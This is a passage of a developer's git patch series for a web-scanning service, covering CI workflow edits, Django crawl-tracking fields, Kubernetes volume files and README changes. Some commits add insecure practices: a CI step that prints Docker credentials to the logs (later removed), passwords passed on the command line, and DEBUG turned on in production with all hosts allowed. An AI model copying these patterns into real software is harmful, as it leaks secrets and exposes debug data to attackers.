-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 933052a7876bb865c19ca61a2b6c7d1d2c54f452 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:48:49 -0500
Subject: [PATCH 022/752] testing with dockerhub

---
 .github/workflows/workflow.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9adb8170..8647ad46 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,8 +41,8 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
-      # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
+      # run: doctl registry login --expiry-seconds 1200
+      run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 0464a0378683d6d18dc2b0486cf3fbc7255b2369 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:02:30 -0500
Subject: [PATCH 023/752] testing

---
 .github/workflows/workflow.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 8647ad46..6fa4da68 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -27,7 +27,7 @@ jobs:
     steps:
 
     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout master
+    - name: Checkout main
       uses: actions/checkout@main
 
     # Install doctl.
@@ -40,6 +40,10 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
+    - name: Print creds
+      # run: doctl registry login --expiry-seconds 1200
+      run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
+
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
       run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}

From 9aa2b68edc1ce75d54d39f65270fed88f2bed54b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:03:52 -0500
Subject: [PATCH 024/752] testing

---
 .github/workflows/workflow.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 6fa4da68..530a0532 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -35,14 +35,14 @@ jobs:
       uses: digitalocean/action-doctl@v2
       with:
         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-    
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Print creds
       # run: doctl registry login --expiry-seconds 1200
       run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200

From 8dc69b421f3ed8357a00c6b7a3aa5eb5e541091a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:05:23 -0500
Subject: [PATCH 025/752] new method

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 530a0532..40d3f21c 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -46,7 +46,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_UESR }} --password-stdin ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_UESR }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From aa68d21bedf00ea58743969ea39409f67d32d626 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:06:13 -0500
Subject: [PATCH 026/752] removed echo

---
 .github/workflows/workflow.yml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 40d3f21c..ea3a5b11 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -35,10 +35,6 @@ jobs:
       uses: digitalocean/action-doctl@v2
       with:
         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-
-    - name: Print creds
-      # run: doctl registry login --expiry-seconds 1200
-      run: echo ${{ secrets.DOCKER_UESR }} ${{ secrets.DOCKER_PASS }}
     
     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
     - name: Build container image

From 689f5e484dbfd41543c03eda4836dbd1324a416d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:20:03 -0500
Subject: [PATCH 027/752] fixed typeo

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index ea3a5b11..fe5e3027 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_UESR }} -p ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_USER }} --password-stdin ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 05360629781fa1697b670b35db4566d9ff4df88e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 18:37:22 -0500
Subject: [PATCH 028/752] testing with -p flag

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index fe5e3027..47708894 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_USER }} --password-stdin ${{ secrets.DOCKER_PASS }}
+      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
       run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From dc7775b4406ed6c30e2e840f7aa5f733073aa2a7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 19:13:56 -0500
Subject: [PATCH 029/752] fixed file naming

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 47708894..9c6553e3 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -49,7 +49,7 @@ jobs:
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml

From 357de602e14dc222337e7b310232c1799f6f58ca Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 19:17:49 -0500
Subject: [PATCH 030/752] fixed other extention naming

---
 .github/workflows/workflow.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9c6553e3..040d46dd 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -52,16 +52,16 @@ jobs:
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
     # Re-deploy app and Celery
     - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Verify app
       run: kubectl rollout status deployment/app-deployment

From 3825584056b475d1ae9b551a29ca1a5f8fb4765e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 08:55:53 -0500
Subject: [PATCH 031/752] added crawl tracking

---
 app/api/models.py             |  2 ++
 app/api/tasks.py              | 15 +++++++++++++--
 app/api/v1/ops/serializers.py |  2 +-
 app/api/v1/ops/services.py    |  4 ++++
 4 files changed, 20 insertions(+), 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9ef6882d..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,6 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index ee5cccad..68827ee3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -13,6 +13,7 @@
 )
 from .models import *
 from django.contrib.auth.models import User
+from django.utils import timezone
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
@@ -42,6 +43,9 @@ def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
 @shared_task
 def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
+    site.time_crawl_started = timezone.now()
+    site.time_crawl_completed = None
+    site.save()
     # crawl site 
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
@@ -67,7 +71,9 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
         page.info["latest_scan"]["id"] = str(scan.id)
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
-
+    # updating site status
+    site.time_crawl_completed = timezone.now()
+    site.save()
 
     logger.info('Added site and all pages')
 
@@ -77,6 +83,9 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
 @shared_task
 def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
+    site.time_crawl_started = timezone.now()
+    site.time_crawl_completed = None
+    site.save()
     old_pages = Page.objects.filter(site=site)
     old_urls = []
     for p in old_pages:
@@ -114,7 +123,9 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
         page.info["latest_scan"]["id"] = str(scan.id)
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
-
+    # updating site status
+    site.time_crawl_completed = timezone.now()
+    site.save()
 
     logger.info('crawled site and added pages')
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 22e62084..6dfc5016 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -42,7 +42,7 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Site
         fields = ['id', 'user', 'site_url', 'time_created', 'info',
-        'tags', 'account',
+        'tags', 'account', 'time_crawl_started', 'time_crawl_completed',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2f194862..b4b09345 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -216,6 +216,10 @@ def crawl_site(request, id):
             'disable_animations': False
         }
 
+    # update site info
+    site.time_crawl_completed = None
+    site.save()
+
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
     serializer_context = {'request': request,}

From 24e180652c3e9602cbc107fb64f5da2bdb92d657 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 11:39:30 -0500
Subject: [PATCH 032/752] debug mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 38036859..1d4b50c8 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 95225d93a8496088d33bbe84dd0f2765df265304 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:20:08 -0500
Subject: [PATCH 033/752] adding volume

---
 app/api/models.py            |  4 ++--
 k8s/prod/app-deployment.yaml | 22 ++++++++++++++++++++++
 2 files changed, 24 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..525593b7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,8 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
-    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
+    # time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    # time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 1a680841..ffc81e0d 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -43,6 +43,13 @@ spec:
             requests:
               cpu: "500m"
               memory: "500Mi"
+          volumeMounts:
+           - mountPath: "/app/api/migrations"
+             name: my-app-volume
+      volumes:
+        - name: my-app-volume
+          persistentVolumeClaim:
+           claimName: app-volume
 
 ---
 
@@ -57,3 +64,18 @@ spec:
   - name: http
     port: 80
     targetPort: 8000
+
+
+---
+
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-volume
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 5Gi
+  storageClassName: do-block-storage
\ No newline at end of file

From 1f071d431dd635f61a5079c9566e5acba99f9745 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:20:21 -0500
Subject: [PATCH 034/752] reorganized

---
 README.md           | 136 ++------------------------------------------
 notes/Deployment.md | 127 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 131 insertions(+), 132 deletions(-)
 create mode 100644 notes/Deployment.md

diff --git a/README.md b/README.md
index d7c28503..9b015f17 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io)
+[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io/api/v1/auth)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
@@ -12,135 +12,7 @@ Copyright © Scanerr 2023
 ---
 &nbsp;
 
-## Table of Contents
+## Guides
+- [Deployment (single Server)](notes/Deployment.md)
+- [k8s Deployment](k8s/kubernetes-notes.md)
 &nbsp;
-
-#### Env's and deployment
-- [Scanerr Server (API repo)](#scanerr-server-api-repo)
-  - [Table of Contents](#table-of-contents)
-      - [Env's and deployment](#envs-and-deployment)
-  - [Environment](#environment)
-  - [Local](#local)
-  - [Remote](#remote)
-  - [Scripts](#scripts)
-
-
-&nbsp;
- 
----
-&nbsp;
-
-## Environment
-
-Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files.  **Never store actual .env's in a repo.** Things to change:
-- high level django configs
-- admin credentials 
-- email credentials
-- database configs
-- google API keys
-- stripe keys
-- OAuth keys
-- twilio credentials
-- slack credentials
-- s3 remote storage credentials
-
-&nbsp;
- 
----
-&nbsp;
-
-## Local
-Install and run locally on your machine in a dev environment.
-
-> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step.
-
-```shell
-$ pip3 install virtualenv
-$ virtualenv appenv
-$ source appenv/bin/activate
-$ mkdir app
-$ git clone https://github.com/Scanerr-io/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose up --build
-```
-*Spin-down the application*
-```shell
-$ docker compose up down
-```
-
-&nbsp;
- 
----
-&nbsp;
-
-## Remote
-Install and deploy remotely in a production environment.
-
-> Ensure you have Docker installed and running on your server prior to this step.
-
-*Server configurations for Ubuntu 20.04*
-``` shell
-$ ssh root@your_server_ip
-# apt update
-# apt upgrade
-# adduser {user}
-# usermod -aG sudo {user}
-# ufw allow OpenSSH
-# ufw enable
-# su {user}
-```
-
-*Add user to docker group*
-```shell
-$ sudo usermod -aG docker {user}
-$ newgrp docker 
-```
-
-*Generate SSH keys for GitHub*
-``` shell
-$ ssh-keygen -t ed25519 -C "your_github_email@example.com"
-```
-- press `Enter` 3 times
-```shell
-$ eval "$(ssh-agent -s)"
-$ ssh-add ~/.ssh/id_ed25519
-$ cat ~/.ssh/id_ed25519.pub
-```
-- copy key to clipboard and paste in GutHub
-
-
-*Create a dir to clone the app into*
-``` shell
-$ cd ~
-$ mkdir app
-$ cd app
-$ git clone https://github.com/Scanerr-io/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose -f docker-compose.prod.yml up -d --build
-```
-*Spin-down the application*
-```shell
-$ docker compose -f docker-compose.prod.yml down
-```
-*Spin-down the application and removes the volumes*
-```shell
-$ docker-compose -f docker-compose.prod.yml down -v
-```
-
-
-&nbsp;
-
----
-
-&nbsp;
-
-## Scripts
-
-*ssh into container*
-``` shell
-$ docker exec -it <container:id> /bin/sh
-```
diff --git a/notes/Deployment.md b/notes/Deployment.md
new file mode 100644
index 00000000..6c160cc2
--- /dev/null
+++ b/notes/Deployment.md
@@ -0,0 +1,127 @@
+# Scanerr Deployment (single Server)
+- [Scanerr Deployment (single Server)](#scanerr-deployment-single-server)
+  - [Environment](#environment)
+  - [Local](#local)
+  - [Remote](#remote)
+  - [Scripts](#scripts)
+
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Environment
+
+Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files.  **Never store actual .env's in a repo.** Things to change:
+- high level django configs
+- admin credentials 
+- email credentials
+- database configs
+- google API keys
+- stripe keys
+- OAuth keys
+- twilio credentials
+- slack credentials
+- s3 remote storage credentials
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Local
+Install and run locally on your machine in a dev environment.
+
+> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step.
+
+```shell
+$ pip3 install virtualenv
+$ virtualenv appenv
+$ source appenv/bin/activate
+$ mkdir app
+$ git clone https://github.com/Scanerr-io/server.git
+```
+*Spin-up the application*
+```shell
+$ docker compose up --build
+```
+*Spin-down the application*
+```shell
+$ docker compose up down
+```
+
+&nbsp;
+ 
+---
+&nbsp;
+
+## Remote
+Install and deploy remotely in a production environment.
+
+> Ensure you have Docker installed and running on your server prior to this step.
+
+*Server configurations for Ubuntu 20.04*
+``` shell
+$ ssh root@your_server_ip
+# apt update
+# apt upgrade
+# adduser {user}
+# usermod -aG sudo {user}
+# ufw allow OpenSSH
+# ufw enable
+# su {user}
+```
+
+*Add user to docker group*
+```shell
+$ sudo usermod -aG docker {user}
+$ newgrp docker 
+```
+
+*Generate SSH keys for GitHub*
+``` shell
+$ ssh-keygen -t ed25519 -C "your_github_email@example.com"
+```
+- press `Enter` 3 times
+```shell
+$ eval "$(ssh-agent -s)"
+$ ssh-add ~/.ssh/id_ed25519
+$ cat ~/.ssh/id_ed25519.pub
+```
+- copy key to clipboard and paste in GutHub
+
+
+*Create a dir to clone the app into*
+``` shell
+$ cd ~
+$ mkdir app
+$ cd app
+$ git clone https://github.com/Scanerr-io/server.git
+```
+*Spin-up the application*
+```shell
+$ docker compose -f docker-compose.prod.yml up -d --build
+```
+*Spin-down the application*
+```shell
+$ docker compose -f docker-compose.prod.yml down
+```
+*Spin-down the application and removes the volumes*
+```shell
+$ docker-compose -f docker-compose.prod.yml down -v
+```
+
+
+&nbsp;
+
+---
+
+&nbsp;
+
+## Scripts
+
+*ssh into container*
+``` shell
+$ docker exec -it <container:id> /bin/sh
+```

From d3ddc8d6a1ff7879540ee40a60d24a05184783e9 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:33:04 -0500
Subject: [PATCH 035/752] added back crawl tracking

---
 app/api/models.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 525593b7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -314,8 +314,8 @@ class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    # time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
-    # time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_started = models.DateTimeField(serialize=True, null=True, blank=True)
+    time_crawl_completed =  models.DateTimeField(serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_small_info_default)

From 541830bcca1170363d885e25aa0a15b79f5b1a60 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:50:17 -0500
Subject: [PATCH 036/752] testing

---
 k8s/prod/app-deployment.yaml | 15 ---------------
 k8s/prod/app-volume.yaml     | 13 +++++++++++++
 2 files changed, 13 insertions(+), 15 deletions(-)
 create mode 100644 k8s/prod/app-volume.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ffc81e0d..22974ad1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -64,18 +64,3 @@ spec:
   - name: http
     port: 80
     targetPort: 8000
-
-
----
-
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: app-volume
-spec:
-  accessModes:
-  - ReadWriteOnce
-  resources:
-    requests:
-      storage: 5Gi
-  storageClassName: do-block-storage
\ No newline at end of file
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
new file mode 100644
index 00000000..1bc078f7
--- /dev/null
+++ b/k8s/prod/app-volume.yaml
@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-volume
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 5Gi
+  storageClassName: do-block-storage
+
+---
\ No newline at end of file

From c72cf577349ccc7d7227fe10c57bb656e0877179 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 12:50:28 -0500
Subject: [PATCH 037/752] added volume claim

---
 k8s/kubernetes-notes.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 20554be7..e3d8e705 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,6 +108,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 

From 3d10e91e9b613dbb1f0dc34033d746a0cd0f224d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:04:50 -0500
Subject: [PATCH 038/752] volume claims

---
 k8s/prod/app-deployment.yaml  | 14 +++++++-------
 k8s/prod/app-volume.yaml      | 16 +++++++---------
 k8s/prod/app-volumeclaim.yaml | 11 +++++++++++
 3 files changed, 25 insertions(+), 16 deletions(-)
 create mode 100644 k8s/prod/app-volumeclaim.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 22974ad1..5ef62e8b 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -43,13 +43,13 @@ spec:
             requests:
               cpu: "500m"
               memory: "500Mi"
-          volumeMounts:
-           - mountPath: "/app/api/migrations"
-             name: my-app-volume
-      volumes:
-        - name: my-app-volume
-          persistentVolumeClaim:
-           claimName: app-volume
+      #     volumeMounts:
+      #      - mountPath: "/app/api/migrations"
+      #        name: my-app-volume
+      # volumes:
+      #   - name: my-app-volume
+      #     persistentVolumeClaim:
+      #      claimName: app-pvc
 
 ---
 
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
index 1bc078f7..ff0dd44d 100644
--- a/k8s/prod/app-volume.yaml
+++ b/k8s/prod/app-volume.yaml
@@ -1,13 +1,11 @@
 apiVersion: v1
-kind: PersistentVolumeClaim
+kind: PersistentVolume
 metadata:
-  name: app-volume
+  name: app-pv
 spec:
+  capacity:
+    storage: 1Gi
+  volumeMode: Filesystem
   accessModes:
